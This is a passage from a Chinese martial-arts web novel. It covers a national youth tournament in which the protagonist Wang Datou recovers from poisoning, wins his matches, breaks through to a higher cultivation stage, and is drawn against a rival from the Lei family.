“暗影这次,过分了。”
“那个幽魂,用的毒里有‘蚀骨散’的味道……这种禁药,他们哪来的?”
“查。必须严查。”
“那个女娃子,剑法不错。哪家的?”
“自称散修,南宫明月。查不到师承。”
“龙门……越来越有意思了。”
王大头在队友搀扶下回到休息区。
他闭目调息,感受着体内毒素被药力中和的过程。
白子羽的医术果然高明,加上他自身内力精纯,毒素已被控制住,但要完全清除,还需一两天。
“对不起,让大家担心了。”他睁开眼,歉然道。
“说什么呢!”张猛瞪眼,“是那个王八蛋耍阴招!妈的,别让我在外面碰到他!”
南宫明月收剑归鞘,淡淡道:“幽魂逃了,但他中了我的‘截脉剑气’,三天内左臂经脉会逐渐萎缩,武功至少废掉三成。算是给他个教训。”
王大头看向她,郑重道:“明月,刚才多谢了。如果不是你及时出手,我可能已经……”
“不必。”
南宫明月打断他,“我只是看不惯这种卑劣手段。况且,你若是**,我去哪里印证剑道?”
她语气依旧平淡,但王大头能听出其中的关心。
李雅担忧道:“大头,你的状态……接下来的比赛还能参加吗?”
“能。”
王大头斩钉截铁,“毒素已控,内力损耗不大。调息一晚,应该能恢复七八成。”
正说着,广播响起其他比赛的通知。
接下来,龙门其他四人的比赛陆续开始。
张猛对上了一个练“铁布衫”的硬功高手。
两人都是硬碰硬的打法,擂台被踩得咚咚作响。
最终张猛凭借更精妙的发力技巧和更强的爆发力,硬生生破了对方的铁布衫防御,获胜晋级。
周倩的对手是一个擅长“八卦掌”的选手,身法灵动,掌法绵密。
周倩与之周旋良久,最终凭借精准的计算和巧劲,抓住对方一个换掌的破绽,将其推出擂台界限。
吴刚遇到了一个使“双节棍”的高手,对方武器凌厉,吴刚初期吃了亏,臂膀挨了好几下,鲜血淋漓。
但他咬牙硬撑,终于抓住对方收棍的瞬间,突入内圈,一记重拳轰在对方腹部,结束战斗。
孙浩的对手,竟然是昨天那个用毒的苗疆女选手!冤家路窄!
这次孙浩学聪明了,开场就全力猛攻,不给对方用毒的机会。
他以速度压制,招式狠辣,三十招后抓住对方一个失误,一记扫堂腿将其放倒,紧接着连续三拳轰在对方防御空当,逼得对方认输。
“复仇成功!”孙浩跳下擂台,兴奋地挥舞拳头。
至此,个人赛第三轮结束,三十二强诞生。
龙门五人,全部晋级十六强!
这个消息如同旋风般传开。
一个名不见经传的地方团体,竟然有五人杀入全国十六强!
这在历届比赛中都极为罕见!
龙门,一战成名!
赛后采访区,王大头被记者团团围住。
“王会长,对于幽魂的违规袭击,你有什么看法?”
“暗影组织是否与龙门有私人恩怨?”
“龙门五人全部晋级,是否意味着科学武道确实优于传统武术?”
王大头脸色还有些苍白,但眼神清澈坚定:“比赛中的意外,我相信武道协会会严肃处理。至于龙门和暗影,此前并无交集。我们只是来参加比赛的武者。”
他顿了顿,继续道:“科学武道不是要取代传统武术,而是在尊重传统的基础上,用更科学的方法去研究、优化、发展。传统武术博大精深,有很多值得我们学习的地方。龙门的目标,是探索一条更适合现代人的武道之路。”
回答得体,不卑不亢,赢得了不少好感。
回到酒店,白子羽又来了,仔细为王大头检查了一番,重新调整了药方。
“毒素已清了大半,但还有少许残留。今晚务必静心调息,不可动怒动气。”白子羽叮嘱道,“另外……我查到一些关于幽魂的线索。”
“哦?”王大头精神一振。
“幽魂用的毒里,有几种原料,只在几个特定的黑市流通。”白子羽压低声音,“其中一个黑市,就在京城西郊,背后的控制者……姓沈。”
王大头眼神一凝:“沈家?”
“只是线索,没有确凿证据。”
白子羽摇头,“但你要小心。沈家在北方势力盘根错节,这次你让沈坤难堪,又废了幽魂一臂——如果幽魂真是沈家请来的,他们不会善罢甘休。”
“多谢白公子提醒。”王大头郑重道。
“另外,十六强抽签在明天上午。”白子羽道,“剩下的都是真正的高手,有几个需要特别注意……”
他列举了几个名字,都是各大宗门世家的顶尖传人,实力深不可测。
送走白子羽,王大头站在窗前,看着京城夜色。
**,袭击,黑市,沈家……这潭水,果然深不见底。
但越是如此,他越不能退。
他摸了摸肋下和脸颊的伤口,已经结痂。
毒素带来的麻痹感正在消退。
明天,十六强战。
无论对手是谁,他都要继续前进。
第110章:十六强战,瓶颈初现
次日清晨,演武场的气氛达到开赛以来的顶峰。
十六强选手的照片和简介被制成大幅海报,悬挂在赛场四周。
媒体区人满为患,网络直播的观看人数突破百万。
龙门五人的海报被并排挂在一起,格外醒目。
“最大黑马”、“科学武道震惊全国”、“五人全进十六强奇迹”……各种标题见诸报端和网络。
休息区内,王大头经过一夜调息,毒素已清九成,脸色恢复如常,只是内力损耗尚未完全补回,估摸只有巅峰状态的八成左右。
李雅拿着十六强名单,语气凝重:“剩下的都是硬茬子。中原少林俗家弟子会的释延明,练的是‘金刚不坏体’,据说已到暗劲巅峰,随时可能突破化劲。青城剑派的林惊羽,剑法超绝,是夺冠热门之一。还有天骄预备营的高战,昨天三招就击败了一个八极拳高手,实力深不可测……”
她一个个念下去,每个名字都代表着一个强大的对手。
张猛摩拳擦掌:“管他谁谁,打就是了!”
周倩轻声道:“王老师,你的毒伤……”
“无碍。”
王大头摆手,“大家记住,进入十六强,已经证明了我们的实力。接下来的比赛,全力以赴,但安全第一。如果遇到不可力敌的对手,不要硬拼。”
众人点头。
上午九点,十六强抽签仪式开始。
大屏幕上,十六个名字随机滚动,最终定格为八组对阵。
王大头抽到的对手是——西北“金刚寺”的武僧,扎西多吉。
“金刚寺的武僧?”
张猛皱眉,“昨天团队赛抽签,他们也在我们E组吧?”
“对。”
李雅点头,“扎西多吉是金刚寺这一代最出色的年轻武僧,练的是‘龙象般若功’和‘金刚伏魔拳’,力大无穷,硬功极强。昨天他的比赛我看过,对手是一个练铁砂掌的,被他三拳轰下擂台,臂骨骨折。”
硬功对硬功?
王大头若有所思。
张猛的对手是华南鹤形门的一个女弟子,轻功了得。
周倩抽到了川中唐门外门的一个用暗器高手(比赛用特制无刃暗器)。
吴刚运气不佳,抽到了夺冠热门之一的林惊羽。
孙浩则对上一个军中格斗术高手。
“小吴这场……”李雅欲言又止。
吴刚深吸一口气:“我知道,我赢面不大。但我会全力以赴,至少逼出他一些真本事,给后面的人参考。”
王大头拍拍他肩膀:“尽力就好。林惊羽的剑法以快、准、狠著称,你要发挥自己下盘稳、防御强的特点,稳扎稳打,寻找机会。”
抽签结束,比赛即将开始。
第一场就是张猛对鹤形门女弟子。
擂台上,那女弟子一身白色练功服,身姿轻盈,双手成鹤嘴状,眼神锐利。
比赛开始,她立刻施展鹤形门轻功,绕着张猛游走,鹤嘴专攻穴位,招式刁钻。
张猛力量虽强,但速度不及对方,初期被压制,身上挨了好几下,虽未伤及要害,但也疼痛难忍。
“妈的,跟个鸟似的飞来飞去!”张猛火大,索性不再追逐,双脚扎根擂台,以静制动。
女弟子见状,攻势更急,一记“鹤啄”直取张猛太阳穴!
就在她近身的瞬间,张猛眼中精光一闪,不闪不避,硬生生用额头迎上!
“铛!”竟发出金铁交鸣之声!
女弟子大惊,鹤嘴如啄在铁块上,指骨剧痛!
她急忙后撤,但张猛哪会放过这机会,大手如蒲扇般抓出,扣住她手腕,猛地一甩!
“砰!”
女弟子被狠狠摔在擂台上,挣扎着要起身,张猛已一脚踏在她背上,力道控制得恰到好处,未伤人,却让她动弹不得。
“认输不?”张猛咧嘴。
“……认输。”女弟子咬牙。
张猛晋级八强!
“猛哥威武!”孙浩在台下大喊。
第二场是周倩对唐门外门弟子。
对方暗器手法精妙,周倩初期被动躲闪,险象环生。
但她心思缜密,逐渐摸清了对方发射暗器的习惯和节奏,利用擂台障碍和身法周旋,终于在对方暗器将尽、换器的瞬间,突袭近身,一套小巧擒拿将其制服。
周倩晋级!
第三场是吴刚对林惊羽。
林惊羽一身青色道袍,背负长剑,面容俊朗,气质出尘。
他上台后对吴刚抱拳行礼,姿态优雅。
比赛开始,林惊羽并未拔剑,而是以指代剑,施展青城剑法。
即便如此,剑气纵横,攻势如潮。
吴刚将硬功催到极致,稳守不攻。
他下盘极稳,如磐石立于激流,任凭林惊羽剑气如何凌厉,始终不退一步。
三十招后,林惊羽眼中闪过讶色,终于拔剑。
剑一出鞘,寒光四射!
青城剑法全力施展,剑影如瀑!
吴刚压力陡增,身上瞬间多了几道血痕。
但他咬紧牙关,依旧稳守,甚至试图用身体硬抗,创造近身机会。
“好硬的功夫!”台下有人惊叹。
“但光硬没用,林惊羽的剑法太精妙了!”
果然,五十招后,吴刚体力不支,防御出现破绽。
林惊羽一剑刺中他肩井穴,劲力透入,吴刚整条右臂顿时酸麻。
“承让。”林惊羽收剑。
吴刚苦笑抱拳:“多谢指教。”
虽败,但逼得林惊羽拔剑,并坚持了五十余招,吴刚的表现赢得了全场掌声。
第四场是孙浩对军中格斗术高手。
对方招式简洁狠辣,孙浩以速度周旋,最终凭借更灵活的步法和更丰富的招式变化,险胜晋级。
至此,龙门五人,三人晋级八强!
这个成绩再次引起轰动。
休息时间,王大头为吴刚推拿活血,化解肩井穴的淤堵。
“林惊羽的剑,很强。”吴刚沉声道,“他最后那一剑,只用了七分力。如果全力,我挡不住。”
“我知道。”王大头点头,“你已经做得很好了。”
中午短暂休息后,下午比赛继续。
第一场就是王大头对扎西多吉。
擂台上,扎西多吉身穿暗红色僧袍,身高近一米九,肌肉虬结,肤色古铜,站在那里就如一尊铁塔。
他双手合十,对王大头行礼,眼神清澈刚毅。
“王施主,请。”声音浑厚。
“大师请。”王大头回礼。
裁判宣布开始。
扎西多吉低喝一声,僧袍鼓荡,整个人气势陡然攀升!
他脚踏大地,擂台为之震动,一拳轰出,简简单单的直拳,却带着龙象之力,拳风呼啸!
王大头不敢硬接,《游龙步》施展开来,侧身闪避,同时一指点向对方肋下。
“铛!”手指点中,如触金铁!
反震之力让王大头手指发麻!
好硬的硬功!比张猛的硬功还要强上一个档次!
扎西多吉变招极快,另一拳如锤砸下!
王大头再闪,脚下步伐连变,寻找对方破绽。
但扎西多吉的硬功已到“内外如一”的境界,全身几无破绽,且力大无穷,每一拳都带着开山裂石之威。
王大头尝试用螺旋劲力攻击关节、穴位,但对方内力雄浑,硬功护体,效果甚微。
二十招后,王大头渐感吃力。
他内力未复,不敢久战,必须速决。
看准扎西多吉一拳打空、回气稍慢的瞬间,王大头猛吸一口气,将剩余内力全部催动,双掌掌心银光流转,“螺旋震脉掌”再度出手!
这一次,他用了十成力!
扎西多吉似乎感觉到这一掌的威胁,不闪不避,反而低吼一声,全身泛起淡淡金光——金刚不坏体催到极致!
同时一拳迎上,正是“金刚伏魔拳”中最刚猛的一式“伏魔破”!
拳掌相交!
“轰!!!”
巨响如雷鸣!气浪以两人为中心炸开,擂台地面龟裂!
王大头只觉得一股无可抵御的巨力传来,整个人倒飞出去,在空中连翻三个跟头才勉强落地,踉跄后退七八步,喉头一甜,一口鲜血涌上,又被他强行咽下。
扎西多吉也连退三步,每步都在擂台上留下深深脚印。
他右拳微微颤抖,拳面上有鲜血渗出——螺旋震脉掌的劲力,竟破开了他的金刚不坏体!
两人遥遥相对,各自调息。
台下鸦雀无声。
几秒后,扎西多吉双掌合十:“王施主好掌力。若非贫僧硬功已至小成,这一掌便已败了。”
王大头擦去嘴角血迹,苦笑道:“大师硬功了得,佩服。”
“但施主似乎有伤在身,内力未复。”
扎西多吉目光如炬,“此战,胜之不武。不如算平手如何?”
此言一出,全场哗然。
主动提出平手?这可是淘汰赛!
裁判看向王大头。
王大头深吸一口气,抱拳道:“大师好意心领。但比赛就是比赛,我状态不佳是我自己的问题。况且……”
他眼中战意重燃:“我还没输。”
扎西多吉眼中闪过赞赏:“既如此,请。”
两人再度战在一处。
这一次,王大头不再硬拼,而是将《游龙步》和《星辰观想法》发挥到极致,身形如鬼魅,在扎西多吉狂暴的拳势中穿梭,寻找那微不可察的破绽。
扎西多吉硬功虽强,但终究有极限。
连续猛攻下,呼吸渐重,拳势转换间出现了极其细微的滞涩。
就是现在!
王大头在对方一拳打空、回气的刹那
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,身形陡然加速,如游龙般切入对方内圈,右手并指如剑,凝聚全身剩余内力,一指点向扎西多吉胸口膻中穴——那是硬功修炼者少数几个难以完全防护的要穴之一!
这一指,快如闪电!
扎西多吉脸色微变,急忙回防,但慢了半拍!
“噗!”
指尖触及,劲力透入!
扎西多吉闷哼一声,连退五步,胸口剧痛,气息紊乱,金刚不坏体竟被这一指破开!
王大头得手后立刻后退,脸色苍白如纸。
这一指耗尽了他最后的内力,此刻已近虚脱。
扎西多吉调息片刻,压住伤势,看向王大头,长叹一声:“施主眼力、时机把握、毅力,皆属上乘。贫僧输了。”
他主动抱拳认输。
裁判宣布王大头获胜,晋级八强!
台下爆发出雷鸣般的掌声。
这一战,虽不如之前与幽魂之战凶险,却更加精彩,展现了真正的武道精神和技艺。
王大头在队友搀扶下回到休息区,立刻盘膝调息。
与扎西多吉一战,虽胜,但内力耗尽,伤势加重,下一场八强战,形势不容乐观。
接下来的比赛,张猛惜败于一个太极高手,止步八强。
周倩险胜对手,晋级四强!孙浩则败于天骄预备营的另一名高手。
至此,个人赛八强诞生:王大头、周倩、林惊羽、高战、释延明、白子羽(他作为白家代表也晋级了)、唐门内门弟子唐影、以及一个神秘的散修“无痕”。
龙门两人晋级八强,依旧是最亮眼的团体。
傍晚,王大头在房间调息,白子羽前来为他疗伤。
“你的内力损耗太大,经脉也有暗伤。”
白子羽把脉后皱眉,“明天四强战,对手无论是谁,你都很难有胜算。”
王大头苦笑:“我知道。但走到这一步,无论如何也要拼一拼。”
白子羽沉吟片刻:“我有一法,可暂时激发你潜能,让你在短时间内恢复巅峰状态,甚至略有提升。但代价是,赛后你会虚弱至少三天,且对经脉有损,可能影响未来突破。”
“什么方法?”
“白家秘传,‘逆脉冲穴’。”
白子羽正色道,“以金针刺激你几处隐穴,强行激发潜力。但此法凶险,稍有差错,轻则武功尽废,重则性命不保。且我只在古籍中看过,从未对人施展过。”
王大头沉默。
此时,房门被敲响。南宫明月走了进来。
她看了一眼白子羽,淡淡道:“白公子,能否让我与王会长单独说几句?”
白子羽点头:“我去准备药材。”转身离开。
南宫明月关上门,走到王大头面前,直视他的眼睛:“你想用那个方法?”
“你听到了?”
“白家的‘逆脉冲穴’,我知道。”南宫明月语气平静,“我师父当年受过类似的重伤,也曾考虑此法,但最终放弃了。”
“为什么?”
“因为不值。”
南宫明月道,“一时的胜负,不值得赌上武道前途。你现在的瓶颈,不是内力不足,而是境界未到。你卡在暗劲巅峰多久了?”
王大头一愣。
确实,他内力积累早已足够,但对“化劲”的理解始终隔着一层纱。
“与扎西多吉一战,你感觉到了吧?”
南宫明月继续道,“你的掌力能破他硬功,不是内力比他强,而是发力技巧更精妙,对力量的理解更深。这是‘技’的层面。但要想真正突破,需要的是‘意’的领悟。”
“意?”
“化劲之所以为化劲,是将内力与精神、意志融合,达到‘意到劲到,收发由心’的境界。”
南宫明月缓缓道,“你太注重分析和计算,这是你的长处,也是你的束缚。武道到最后,不是算术题。”
她顿了顿:“今晚,别想什么比赛,什么胜负。静下心来,感受你自己的‘意’。你练《星辰观想法》,观的是什么?是星辰运转的轨迹?还是星辰存在的‘意’?”
说完,她转身离开。
王大头呆立原地,脑海中回荡着她的话。
太注重分析和计算……这是长处,也是束缚……
观星辰的“意”?
他盘膝坐下,闭上双眼,《星辰观想法》自然而然运转。
这一次,他没有去计算星辰轨迹,没有去分析能量运转。
他只是感受。
感受星辰的浩瀚、永恒、孤寂、璀璨……
不知不觉,他进入了一种玄妙的状态。
体内内力自主运转,速度越来越快,经脉中传来胀痛感,但他浑然不觉。
窗外,夜色渐深。
京城灯火,天上星辰。
王大头的气息,正在悄然蜕变。
个人赛四强战,明日将至。
第111章:风雨欲来
个人赛八强诞生当晚,赛事组委会将所有晋级选手及其团队,统一迁入位于京城西郊的“国家武道训练基地”——也就是选手村。
这里原是某特种部队的训练场改建,占地广阔,设施齐全。
十几栋楼错落分布,绿树成荫,甚至有小型湖泊和模拟山地地形。
与之前住的酒店相比,这里更像一个封闭的小世界。
龙门一行七人分到了一栋独立小楼的二层,五个房间,客厅宽敞,还带一个小训练室。
条件比酒店好了不少,但空气中弥漫的竞争气息也更浓——能住进这里的,都是真正从全国厮杀出来的精英。
放下行李,张猛推开窗户,深吸一口基地里带着草木清香的空气:“这地方不错!比酒店那鸟笼子强多了!”
周倩仔细检查着房间,轻声道:“每个房间都有监控,但卫生间和卧室没有。客厅和训练室的监控是明面上的,应该只是安保需要。”
吴刚把行李放好,走到小训练室试了试器械:“器械很全,都是军用的规格。”
孙浩趴在窗台上,指着远处几栋楼:“看那边!青城剑派的人!还有那边,少林俗家弟子会!乖乖,都住进来了!”
王大头站在客厅中间,环视四周。透过窗户,能看到其他楼里进进出出的身影,个个气息不凡。这里**的,是真正的全国武道界年轻一代精英。
“接下来的比赛,就在基地中心的室内体育馆进行。”
李雅翻看着刚领到的基地手册,“八进四,四进二,决赛。团队赛的小组赛也在这里。接下来半个月,我们都要在这里度过了。”
南宫明月独自选了最靠里的房间,放下简单的行李后,便抱着剑坐在客厅角落闭目养神。
对她来说,住哪里似乎没什么区别。
晚饭时间,众人前往基地食堂。
食堂是栋三层建筑,宽敞明亮,自助餐形式,菜品丰富。
此刻正是用餐高峰,几百号人**,各色练功服、门派服饰交织,宛如一场武林大会的预演。
龙门一行人走进食堂,立刻吸引了诸多目光。
五人晋级十六强,两人晋级八强,这样的战绩让龙门不再是无名小卒,而成了许多队伍重点研究的对象。
有善意的目光,有好奇的打量,也有毫不掩饰的敌意。
“看,那就是龙门的人。”
“那个就是王大头?看起来挺普通啊。”
“普通?昨天他跟金刚寺扎西多吉那一战你没看?硬碰硬打平了!”
“扎西多吉最后认输了,说是王大头赢了。”
“谁知道是不是扎西多吉故意放水……”
议论声隐隐传来。
张猛耳朵动了动,哼了一声,没理会。
王大头神色如常,带着众人取餐,找了张靠窗的桌子坐下。
刚坐下不久,一个穿着白色运动服、气质阳光的青年端着餐盘走了过来,笑呵呵地问:“这儿有人吗?拼个桌?”
王大头抬头,认出是江南白家的白子羽,昨天还为自己疗伤。
他点头:“白公子请坐。”
白子羽坐下,看了眼龙门众人,笑道:“王会长,昨天那一战真是精彩。扎西多吉的金刚不坏体年轻一辈中罕有敌手,你能破开他的防御,了不起。”
“白公子过奖了。”
王大头道,“多亏你昨天的治疗,不然我今天未必能上场。”
“举手之劳。”
白子羽摆摆手,压低声音,“不过王会长,你现在的状态……明天四强战,对手无论是谁,恐怕都很艰难。”
王大头点头:“我知道。尽力而为。”
白子羽沉吟一下,又道:“另外,有件事我觉得应该提醒你。你们龙门这次风头太盛,已经引起了不少人的注意。有些……老牌势力,可能不太高兴。”
“老牌势力?”张猛竖起耳朵。
白子羽用筷子蘸了点水,在桌上写了个“雷”字,随即抹去。“江北雷家,听说过吗?”
王大头心中一动。赵师傅曾提过,北方有几个传承悠久的古武世家,雷家是其中之一,以家传“惊雷掌”和“奔雷步”闻名,据说祖上出过好几位化劲宗师,在北方武道界影响力很大。
“雷家怎么了?”王大头问。
“雷家与中原林家是姻亲。”
白子羽意味深长地说,“林震南虽然中风退隐,林家势力大不如前,但瘦死的骆驼比马大,姻亲关系还在。你们在泰山……毕竟让林家吃了大亏。”
王大头明白了。
这是打了小的,来了老的?不,是打了亲戚,亲戚来出头了。
“雷家也参加这次新秀赛了?”周倩轻声问。
“当然。”
白子羽点头,“雷家这一代有个天才,叫雷昊,二十四岁,暗劲巅峰,据说已将家传‘惊雷掌’练到第七重,距离化劲只差临门一脚。他是个人赛八强之一,也是夺冠热门。”
雷昊……王大头记下了这个名字。
“雷家行事……”
白子羽斟酌着用词,“比较护短,也比较好面子。你们龙门最近风头正劲,雷家若想立威,你们是个不错的目标。”
张猛冷笑:“想拿我们立威?那得看他们有没有这个本事!”
白子羽笑了笑:“猛兄豪气。不过雷家不是沈坤那种纨绔子弟可比,他们是真的有底蕴、有实力。王会长,小心为上。”
正说着,食堂门口忽然传来一阵喧哗。
一群人走了进来,约莫十来个,清一色穿着深蓝色绣银雷纹的练功服,为首的是个身材高大、剑眉星目的青年。
他约莫二十四五岁,行走间步履沉稳,眼神锐利如电,顾盼间自有一股傲然气势。
他身后跟着的人,个个气息精悍,太阳穴高高鼓起,显然都是好手。
“雷昊!”有人低呼。
“雷家的人都来了!”
“看那气势,不愧是雷家这一代的领军人物……”
食堂里顿时安静了几分,许多目光都聚焦在这群人身上。
雷昊似乎很享受这种关注,嘴角带着淡淡的笑意,目光扫过食堂,最终……落在了龙门这一桌。
他的眼神在王大头身上停留片刻,又扫过张猛、周倩等人,最后落在白子羽身上,眉头微挑:“白子羽?你怎么跟这些人坐在一起?”
语气平淡,却带着一种居高临下的审视。
白子羽笑容不变:“雷兄,大家都是参赛选手,坐在一起吃个饭,有何不可?”
雷昊轻笑一声,没再理会白子羽,而是直接看向王大头:“你就是王大头?”
王大头放下筷子,平静道:“我是。”
“泰山一战,名声不小。”
雷昊走到桌前,双手负后,“听说你自创什么‘科学武道’,还击败了林家的林远?”
这话语气有些古怪,像是夸奖,又像是嘲讽。
“切磋而已。”王大头不卑不亢。
“切磋?”
雷昊嘴角勾起,“林远是我表弟。他回家后闭门不出,武道之心受损,这辈子可能都难有寸进。”
他顿了顿,声音冷了几分:“你说,这笔账该怎么算?”
食堂里顿时落针可闻。所有人都竖起耳朵,等着看这场冲突如何发展。
张猛“噌”地站起:“雷昊!你什么意思?擂台比武,输赢常事!林远自己技不如人,怪得了谁?”
雷昊身后一个雷家子弟喝道:“放肆!怎么跟昊哥说话的!”
张猛眼睛一瞪:“你才放肆!怎么跟你猛爷说话的!”
眼看冲突一触即发,白子羽连忙起身打圆场:“雷兄,这里是食堂,这么多同道看着呢。有什么话,可以好好说。”
雷昊看了白子羽一眼,似笑非笑:“白子羽,你们白家什么时候成了龙门的护身符了?还是说……你们也对这个所谓的‘科学武道’感兴趣?”
白子羽笑容微敛:“雷兄说笑了。我只是觉得,大家都是武道同修,和气为贵。”
“和气?”
雷昊摇头,“武道之路,争的就是一口气。有人折了我雷家姻亲的面子,我若不出头,别人还以为我雷家好欺负。”
他重新看向王大头,眼神锐利如刀:“王大头,我给你两个选择。第一,公开向林家道歉,承认泰山之战是侥幸取胜。第二……”
他顿了顿,一字一句道:“擂台上见。我会在个人赛的每一轮等着你——如果你能走到我面前的话。”
赤裸裸的威胁!
食堂里一片哗然。
雷昊这话,等于公开宣战了!
王大头缓缓站起身。他比雷昊矮了半个头,但气势丝毫不弱。
“擂台之上,各凭本事。”
王大头声音平静,“雷兄若想在擂台上教我做人,我随时奉陪。至于道歉……”
他笑了笑:“我王大头行事,对就是对,错就是错。泰山一战,我问心无愧。道歉?没必要。”
“好!”
雷昊眼中寒光一闪,“有骨气!那就擂台上见真章!”
他深深看了王大头一眼,转身带着雷家子弟离开。走出几步,忽然回头,看向张猛:“刚才你嗓门挺大。叫什么名字?”
“张猛!怎么着?”张猛毫不畏惧。
“张猛……”
雷昊点点头,“我记住了。”
雷家一行人离开食堂,留下满室议论。
“雷昊这是公开宣战啊!”
“龙门这下麻烦了,雷昊可不是好惹的!”
“
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明天八进四,要是王大头抽到雷昊就好看了……”
白子羽苦笑道:“王会长,你也看到了。雷家行事,就是这么直接。”
王大头重新坐下,继续吃饭:“该来的总会来。吃饭。”
话虽如此,这一顿饭,气氛却压抑了许多。
吃完饭回住处的路上,众人沉默不语。
走到小楼门口时,一直闭口不言的南宫明月忽然开口:“雷昊的惊雷掌,以速度和爆发力著称。他刚才走路时,脚步间距恒定,每一次落脚都精准控制在三十二厘米,这是奔雷步小成的标志。他能在零点三秒内从静止加速到最大速度,你的游龙步未必能完全避开。”
王大头脚步一顿:“你看出来了?”
“他故意展示的。”
南宫明月淡淡道,“雷家的作风,喜欢在动手前先震慑对手。他刚才在食堂说的每一句话、走的每一步,都是在施压。”
张猛骂道:“装模作样!”
周倩轻声道:“王老师,明天抽签……如果真抽到雷昊,你的伤……”
王大头摇头:“伤已无碍。而且……”
他眼中闪过一抹锐利:“我也想见识见识,真正的古武世家传人,到底有多强。”
夜深了。
基地里并不安静,远处训练场传来呼喝声,还有隐隐的内力波动——许多选手都在抓紧最后时间苦练。
龙门小楼里,王大头独自站在小训练室中,没有练功,只是静静站着。
脑海中,回荡着南宫明月的话:“武道到最后,不是算术题。”
他闭上眼睛,《星辰观想法》自然运转。
这一次,他没有计算,没有分析。
只是感受。
感受空气中细微的流动,感受远处训练场传来的震动,感受自己体内内力的奔涌,感受心脏的跳动,血液的流淌……
渐渐地,他进入一种奇妙的状态。
仿佛灵魂脱离了身体,悬浮在空中,俯瞰着整个训练基地。
他看到远处训练场上,雷昊正在练掌,掌风呼啸,隐约有雷鸣之声。
看到青城剑派林惊羽在湖边练剑,剑光如水。看到天骄预备营的高战在力量区扛着巨大的杠铃……
他也看到自己,站在训练室里,闭目静立。
内视之下,经脉中内力流转的速度越来越快,原本因伤势而有些滞涩的地方,正在被汹涌的内力冲开。
“砰!”
体内似乎有什么东西破碎了。
王大头猛地睁开眼睛!
眼中精光爆射,整个人的气质发生了微妙的变化。
原本内敛的气息,此刻多了一丝难以言喻的锋锐。
他伸出手,五指张开,心念一动。
“嗡——”
掌心空气微微扭曲,一股无形气劲在掌心流转,如臂使指!
化劲!
他终于触摸到了那个门槛!
虽然只是初窥门径,距离真正的化劲宗师还有很远,但这一步,他迈出去了!
王大头深吸一口气,压下心中的激动。
突破来得正是时候,但还不够稳固。他需要时间巩固,需要实战验证。
而明天,就是最好的机会。
无论抽到谁,战就是了!
就在这时,训练室门被轻轻推开。
南宫明月站在门口,手中抱着剑,目光落在王大头身上,眼中闪过一丝讶色。
“你……突破了?”
“算是摸到边了。”王大头没有隐瞒。
南宫明月点点头,走进训练室,关上门。
“雷昊的事情,没那么简单。”她忽然说。
“什么意思?”
“我下午去查了雷家最近的动向。”
南宫明月低声道,“雷家这次来参赛,除了雷昊,还来了两个长老。其中一个叫**山,是雷昊的三叔,化劲初期修为,在雷家地位很高。”
她顿了顿:“但**山昨天下午,私下见了一个人。”
“谁?”
“沈家的沈万钧——沈坤的父亲。”
王大头瞳孔一缩:“沈家和雷家勾结?”
“不清楚。”
南宫明月摇头,“但雷家突然针对龙门,可能不只是因为林家那么简单。有人在背后推波助澜。”
王大头沉默。果然,这潭水越来越深了。
“明天小心。”南宫明月说完,转身离开。
走到门口,她忽然停下,回头:“如果你真对上雷昊,记住一点:惊雷掌的第七重,掌力中会附带一丝真正的雷电之气,能麻痹对手神经。你的螺旋劲力,或许能克制。”
“多谢。”
南宫明月离开后,王大头站在训练室中,久久不动。
沈家、雷家、暗影……还有多少势力在暗中窥伺?
他握紧拳头。
第112章:月下立威
第二天清晨,基地中心的室内体育馆座无虚席。
八强赛,是全国武道新秀赛个人赛的真正高潮。
能走到这一步的,无不是各省市、各流派最顶尖的年轻天才。今天的比赛,将决定谁有资格角逐最终的冠军。
体育馆中间,是一座比其他擂台大上一圈的特制擂台,地面铺着吸震性能极佳的新型材料,四周有能量屏障——这是为了防止选手内力外泄伤及观众。
观众席分为几个区域:正前方是评委席,坐着武道协会的元老和特邀嘉宾;左侧是媒体区;右侧是各参赛队伍的专属区域;后方则是普通观众席。
龙门一行人坐在专属区域的前排。
王大头闭目调息,巩固着昨晚突破后的境界。
他能感觉到,体内内力比之前更加凝练、灵动,对力量的掌控也提升了一个层次。
但伤势并未完全痊愈,与扎西多吉一战消耗太大,加上强行突破,现在他的状态大约在巅峰期的八成五左右。
够用了。
张猛显得有些焦躁,不停搓着手:“怎么还不抽签?急死个人!”
周倩轻声道:“猛哥,别急。抽签很快的。”
吴刚则认真观察着其他七强选手。
雷昊坐在雷家区域,闭目养神,气势沉凝。
林惊羽在青城剑派区域擦拭长剑。
高战与天骄预备营的人谈笑风生,不时看向龙门这边,眼神玩味。
白子羽独自坐在白家区域,安静看书。
释延明在打坐念经。
唐影把玩着几枚特制飞刀。
那个散修“无痕”则坐在角落阴影里,几乎与背景融为一体。
八个人,八种风格,都是年轻一代的顶尖高手。
上午九点,抽签仪式开始。
主持人上台,简单介绍规则后,大屏幕开始滚动八个人的名字。
全场屏息。
几秒后,第一组对阵出炉:
王大头(龙门)VS雷昊(雷家)
“哗——!”
全场哗然!
真是怕什么来什么!
昨天食堂的冲突还历历在目,今天两人就在八强赛撞上了!
雷家区域,雷昊睁开眼睛,嘴角勾起一抹冷笑。
他看向龙门方向,眼神中带着毫不掩饰的挑衅。
龙门这边,张猛猛地站起:“妈的!真是他!”
周倩脸色发白。
吴刚握紧拳头。
孙浩张了张嘴,没说出话。
王大头缓缓睁开眼睛,神色平静。
他早就料到可能会有这一战,只是没想到来得这么快。
也好,早了结早好。
接下来的抽签结果:
林惊羽VS释延明
高战VS唐影
白子羽VS无痕
四场比赛,场场都是硬仗。
抽签结束,比赛将在半小时后开始。第一场,就是王大头对雷昊!
选手休息室里,王大头做着简单的热身。李雅在一旁,欲言又止。
“雅姐,有话就说。”王大头道。
“大头……”
李雅犹豫了一下,“雷昊的实力,可能比我们想象的还要强。昨天白子羽说,雷昊的惊雷掌已经练到第七重,掌力附带雷电之气。你的伤……”
“我知道。”
王大头打断她,“这一战,我会小心。”
张猛冲进休息室,脸色难看:“大头!我刚打听到,雷昊那小子昨天放话了,说要在三招之内击败你!妈的,太嚣张了!”
“让他说去。”
王大头淡淡道,“擂台上见真章。”
休息室门被推开,南宫明月走了进来。她看了王大头一眼,将一个拇指大小的玉瓶放在桌上。
“里面是三粒‘清心丹’,我师父留下的。”她语气平淡,“能守心固神,抵抗精神类攻击和麻痹效果。雷电之气也有麻痹之效,或许有用。”
王大头拿起玉瓶,入手温润:“多谢。”
“不必。”
南宫明月转身离开,“活着回来。”
半小时很快过去。
广播响起:“八强赛第一场,龙门王大头,对阵雷家雷昊。请选手登台!”
全场目光聚焦。
王大头脱下外套,露出藏青色练功服。他活动了一下手腕,迈步走向擂台。
